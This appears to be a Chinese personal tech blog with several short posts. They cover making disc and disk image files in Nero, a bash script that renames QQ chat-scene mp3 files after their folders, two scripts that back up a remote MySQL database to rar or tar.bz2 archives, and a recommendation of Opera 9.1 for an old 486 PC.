在主菜单上的“刻录器”菜单中选择“选择刻录器”命令,找到“Image Recorder→Virtual Device”并启用它。退出精灵模式,在“新建CD”中选择“复制光盘”,在“映像文件”选项中选择镜像文件保存位置及文件名,然后取消“复制光盘后删除映像文件”,在“刻录”选项勾选“写”。此时“确定”按钮变成“复制”按钮,点击“复制”按钮,放入源光盘,即可将光盘镜像文件复制到你设定的目录下了。

     另外还有一种方法,点击“选择刻录器”命令后选择一个刻录机,选择“复制光盘”,在“刻录”选项中勾选“模拟”,并去掉“写”前面的对钩标记(这一步可不能少哟!)。然后点击“模拟写入”按钮来进行光盘复制,源盘复制完成后,在弹出的“等待媒体”窗口中选择“取消”,然后在前面设置的“映像文件”保存位置中就可以找到以NRG为后缀的文件,此文件即为制作的光盘镜像文件(如图1)。

 

     2.制作硬盘镜像文件

Nero同样可以将硬盘上的文件制作为镜像文件,这个制作过程与制作光盘镜像文件不同。新建一个“数据光盘”,将需要制作镜像文件的源文件或文件夹拖到编辑框中。添加完成后,即可开始“刻录”,在弹出的“刻录光盘”窗口中选中“建立映像文件”,在弹出的“保存镜像文件”窗口中选择镜像文件的保存目录、名称以及镜像文件类型,点击“保存”即开始刻录(如图1)。刻录过程结束后,硬盘文件镜像即制作成功了。

 

(小提示:制作硬盘镜像文件不仅仅可以制作成NRG一种格式,还可以制作成最常见的ISO格式,你可以在镜像文件类型中进行选择。 )

批量更改QQ聊天场景mp3音乐文件名为其所在目录名

批量更改QQ聊天场景mp3音乐文件名为其所在目录名

QQ的聊天场景中(在目录:IMScene/Scene中)的mp3音乐文件名是像这样的E00001.mp3的符号命名(老婆原来刻苦聊天时在聊天场景中攒下了200首mp3,IMScene目录有700多M),我把这些文件在linux下mp3blaster下播放时看不到音乐的中文文件名。碰巧聊天场景中的每一个目录的名字就代表了其下的音乐的名字,于是,我花了一个下午写了下面这个bash脚本来把mp3音乐的名字改成跟它的目录名一样。一方面是有了中文名字的音乐文件,一方面学习一下linux的bash脚本写作。我想,在windows下用批处理脚本也应该能完成这个工作。但是我学电脑的时候已经过了microsoft的dos时代,就没有学过批处理。倒是linux下的批处理好像还在类unix世界广泛使用。

当然,我很少用和写bash脚本,如果哪位同志看到其中的错误、不当、和可以改进之处请不吝赐教。谢谢。

使用的关键知识点:

1)、for循环遍历目录;

2)、文件相关判断;

3)、字符串比较与数字比较的区别;

4)、对文件名带中文和文件名中带有空格的文件进行操作时,必须对文件名加上双引号;

一些小技巧:

1)、控制脚本只在这个目录执行一次;

2)、控制一个目录下多个类似文件的改名;


#!/bin/bash

# rename.sh

# Rename the file's name as its directory name, like this:

# Rename "/home/m/Scene/求佛/E00001.mp3" to

# "/home/m/Scene/求佛/求佛.mp3"

NOARGS=65

CONFIRM_FAIL=66

RUNONCE_FLAG=67

# Input the first level directory.

# The dirctories structure is like this:

# first level directory

#    second level directory 1

#       files in second level directory 1

#    second level directory 2

#       files in second level directory 2

#    second level directory 3

#       files in second level directory 3

# ...

if [ $# -lt 3 ]

then

   echo "Usage: $0 dir redir suffix ..."

   exit $NOARGS

fi

dir=$1

redir=$2

suffix=$3

echo "your first argument is $dir"

echo "your second argument is $redir"

echo "your third argument is $suffix"

if [ $dir != $redir ]

then

   echo "Usage: $dir must equal to $redir for confirming..."

   exit $CONFIRM_FAIL

fi

if [ -e $dir/runonce.flag ]

then

   echo "Usage: This program can only run once!"

   exit $RUNONCE_FLAG

fi

directorys=$dir/*

for directory in $directorys; do # Find all second level directories

     if [ -d "$directory" ] # Note! It must add double quote before

                            # and after $directory, otherwise, it will

                            # report error if there is blank or chinese

                            # in $directory.

     then

        echo "$directory is a directory"

        count=0

        for file in "$directory"/*$suffix; do # Find the mp3 file in second

                                              # level directory

           if [ -f "$file" ]

           then

              echo "$file is a file"

              dirname=${directory##*/} # get the second level directory name

                                       # without its prefix path like /home/m/

              echo "$file's directory is $dirname"

              if [ $count -gt 0 ]

              then

                 echo "rename $file to $directory/$dirname$count$suffix"

                 echo " rename #$count file begin..."

                 mv "$file" "$directory/$dirname$count$suffix"

              else

                 echo "rename $file to $directory/$dirname$suffix"

                 mv "$file" "$directory/$dirname$suffix"

              fi

              let "count = count + 1"

              echo "rename $count file ok" 

           fi

        done

     else

        echo "$directory is not a directory"

        echo "Usage: $0 dir redir ..."

     fi

done

# Write runonce flag file into the first level directory

echo "Run rename.sh once at `date`" > $dir/runonce.flag

exit 0

在linux系统中备份远程mysql数据库的脚本文件2则

1、备份成rar的分卷压缩格式,生成两个(若有分卷的rar压缩文件会不止两个)备份文件,如:

db20070325092032.sql,db20070325092032.sql.rar

#!/bin/bash

# Backup database with current date as a part of file name.

# Date: 2007-03-24

echo "Today is `date`."

echo " Now begin backup database..."

prefix=db$(date +%Y%m%d%H%M%S) # Needs a leading '+' to invoke formatting.

suffix=sql

filename=$prefix.$suffix

echo "The file name is $filename."

#Begin backup database.

hostname=yourhostname

username=yourusername

dbname=yourdbname

dbdir=~/yourdbbackupdir

mysqldump -h$hostname -u$username -p $dbname > $dbdir/$filename

#Begin compress backup file with .rar format.

compressfile=$filename.rar

echo "Begin compress $filename into $compressfile..."

cd $dbdir

rar a -v1024k $compressfile $filename

echo "Backup database success."

exit 0

**********************************************************************

2、备份成*.tar.bz2的压缩格式,生成两个备份文件,如:

db20070325092032.sql,db20070325092032.sql.tar.bz2

#!/bin/bash

# Backup database with current date as a part of file name.

# Date: 2007-03-24

echo "Today is `date`."

echo " Now begin backup database..."

prefix=db$(date +%Y%m%d%H%M%S) # Needs a leading '+' to invoke formatting.

suffix=sql

filename=$prefix.$suffix

echo "The file name is $filename."

#Begin backup database.

hostname=yourhostname

username=yourusername

dbname=yourdbname

dbdir=~/yourdbbackupdir

mysqldump -h$hostname -u$username -p $dbname > $dbdir/$filename

#Begin compress backup file with .tar.bz2 format.

compressfile=$filename.tar.bz2

echo "Begin compress $filename into $compressfile..."

cd $dbdir

tar cfj $compressfile $filename

echo "Backup database success."

exit 0

能在486+windows97上正常使用的opera游览器最新版

我的这台机器上是486DX100+24M+windows97,在上面安装的IE5.5在浏览有些网站时竟然不能使用,如在当当网上注册,登录google的广告帐号(有近一个月没有登录了:))...  我估计是IE5.5的https的支持上有问题。

然后我安装原来下载的firefox1.*,竟然不能安装上;

在google上以“最小的浏览器“为关键词搜索,结果是opera。在opera的官方网站上下了一个最新版的:opera9.1,在我的机器上的版本信息如下:

Version information

Version  9.10

Build  8679

Platform  Win32

System  Windows 95

Java  Java not installed

XHTML+Voice  Plug-in not loaded

Browser identification

Opera/9.10 (Windows 95; U; en)

我在google的广告帐户上和当当网上使用opera9.1均正常,虽然由于机器差速度慢,但毕竟可用。推荐那些在老机老系统上上网的朋友试一下opera浏览器。